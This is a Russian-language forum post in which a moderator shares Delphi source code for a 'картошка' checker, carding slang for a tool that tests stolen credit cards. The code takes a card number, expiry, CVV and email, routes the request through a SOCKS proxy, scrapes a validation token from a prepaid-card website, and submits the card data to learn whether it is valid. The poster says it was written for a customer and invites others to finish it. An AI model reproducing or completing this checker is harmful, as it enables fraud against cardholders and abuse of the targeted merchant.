Регистрация Главная Сообщество
Сообщения за день Справка Регистрация

Ответ
 
Опции темы
Старый 31.07.2010, 07:21   #1
Super Moderator
 Сержант
Аватар для Рэйзор
 
Рэйзор сломал счётчик популярности :(Рэйзор сломал счётчик популярности :(Рэйзор сломал счётчик популярности :(Рэйзор сломал счётчик популярности :(Рэйзор сломал счётчик популярности :(Рэйзор сломал счётчик популярности :(Рэйзор сломал счётчик популярности :(Рэйзор сломал счётчик популярности :(Рэйзор сломал счётчик популярности :(Рэйзор сломал счётчик популярности :(Рэйзор сломал счётчик популярности :(
Регистрация: 20.07.2010
Сообщений: 137
Популярность: 26409
Сказал(а) спасибо: 52
Поблагодарили 566 раз(а) в 197 сообщениях
 
По умолчанию чекер картошки (исходник)

начал писать заказ на чекер по этому мерчу ([Ссылки могут видеть только зарегистрированные пользователи. ])
но мерч не устроил заказчика
черновик (даже набросок) работы предлагаю вам
Код:
function checkcc(ccnumber, ccexp, ccmail, ccccv, proxy: string): boolean;
var
  http: tidhttp;
  ssl: tidssliohandlersocketopenssl;
  compressor: tidcompressorzlib;
  coo: tidcookiemanager;
  sock: tidsocksinfo;
  post: tstringlist;
  token, page, s: string;
  i: integer;
begin
  result := false;
  page := '';
  token := '';
  s := '';
  post := tstringlist.Create;
  http := tidhttp.Create;
  ssl := tidssliohandlersocketopenssl.Create;
  ssl.ssloptions.method := sslvTLSv1;
  ssl.port := 443;
  http.iohandler := ssl;
  http.request.useragent :=
    'mozilla/4.0 (compatible; msie 7.0; windows nt 6.0)';
  http.request.acceptencoding := 'gzip, deflate';
  http.readtimeout := 60000;
  http.connecttimeout := 60000;
  http.HandleRedirects := true;
  compressor := tidcompressorzlib.Create;
  http.compressor := compressor;
  sock := tidsocksinfo.Create;
  sock.authentication := sanoauthentication;
  sock.version := svsocks4; // 4 / 4A / 5 //  Z.Рэйзор
  sock.Host := Copy(proxy, 1, Pos(':', proxy) - 1);
  sock.port := strtoint(Copy(proxy, Pos(':', proxy) + 1, 5));
  coo := tidcookiemanager.Create;
  http.allowcookies := true;
  http.cookiemanager := coo;
  try
    page := http.Get(
      'https://www.www-card.com/Screens/UsersManagement/SigningStep.aspx');
  except
  end;
  if (length(page) = 0) or (Pos('id="__EVENTVALIDATION"', page) = 0) then
    exit;
  for i := Pos('id="__EVENTVALIDATION"', page) + 30 to length(page) do
    if page[i] = '"' then
      break
    else
      token := token + page[i];
  post.Add('BrowserSafari=false');
  post.Add('__EVENTTARGET=');
  post.Add('__EVENTARGUMENT=');
  post.Add('__MATRIX_VIEWSTATE=4');
  post.Add('__VIEWSTATE=');
  post.Add('__EVENTVALIDATION=' + token);
  post.Add(
    'ctl00%24ctlPrePaidLoginControl%24ctlLogin%24ctlUsername%24txtCreditCardNumber=');
  post.Add
    ('ctl00%24ctlPrePaidLoginControl%24ctlLogin%24ctlUsername%24txtCode=');
  post.Add('ctl00%24ctlPrePaidLoginControl%24ctlLogin%24ctl02=0');
  post.Add('ctl00%24ctlPrePaidLoginControl%24ctlLogin%24ctl04=16');
  post.Add('ctl00%24ctlPrePaidLoginControl%24ctlLogin%24Password=');
  post.Add('ctl00%24FormArea%24ctlVisaCardNumber%24txtCreditCardNumber=' +
      ccnumber);
  post.Add('ctl00%24FormArea%24ctlVisaCardNumber%24txtCode=');
  post.Add('ctl00%24FormArea%24ctl00=0');
  post.Add('ctl00%24FormArea%24ctl02=16');
  post.Add('ctl00%24FormArea%24ctl04=');
  post.Add('ctl00%24FormArea%24ctlExpirationDate%24txtExpirationMonth=' + ccexp
      [1] + ccexp[2]);
  post.Add('ctl00%24FormArea%24ctlExpirationDate%24txtExpirationYear=' + ccexp
      [3] + ccexp[4]);
  post.Add('ctl00%24FormArea%24ctl06=0');
  post.Add('ctl00%24FormArea%24ctl08=4');
  post.Add('ctl00%24FormArea%24ctlThreeDigitCode%24txtCodeNum=' + ccccv);
  post.Add('ctl00%24FormArea%24ctl10=0');
  post.Add('ctl00%24FormArea%24ctl12=1');
  post.Add('ctl00%24FormArea%24txtEmail=' + ccmail);
  post.Add('ctl00%24FormArea%24btnOK.x=90');
  post.Add('ctl00%24FormArea%24btnOK.y=22');
  post.Add(
    'ctl00%24hiddenMsgboxId=ctl00_ctlPrePaidLoginControl_ctlLogin_msgboxErrorMessages');
  try
    s := http.post(
      'https://www.www-card.com/Screens/UsersManagement/SigningStep.aspx',post);
  except
  end;
  if length(s)=0 then
    exit;
  if pos('*Тут мы определяем валид*')>0 then
    result:=true;
  http.Free;
  ssl.Free;
  compressor.Free;
  coo.Free;
  sock.Free;
  post.Free;
end;
у кого есть желание - можете довести до ума.

Последний раз редактировалось Рэйзор; 31.07.2010 в 07:27.
  Ответить с цитированием
Ответ


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Нужен исходник к AggroBot [Devil] Общение разработчиков 5 07.03.2011 12:36
[Помогите!] В Закладке. Нужен исходник. Moisei Свободное обсуждение 0 20.07.2010 12:26
Шаблон для сайта Aion + PSD исходник. Винсент Web-оболочки 2 18.06.2010 23:33
Исходник для IReger ! TakeThat Garena 4 18.02.2010 18:34

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 20:38.

Пишите нам: [email protected]
Copyright © 2024 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net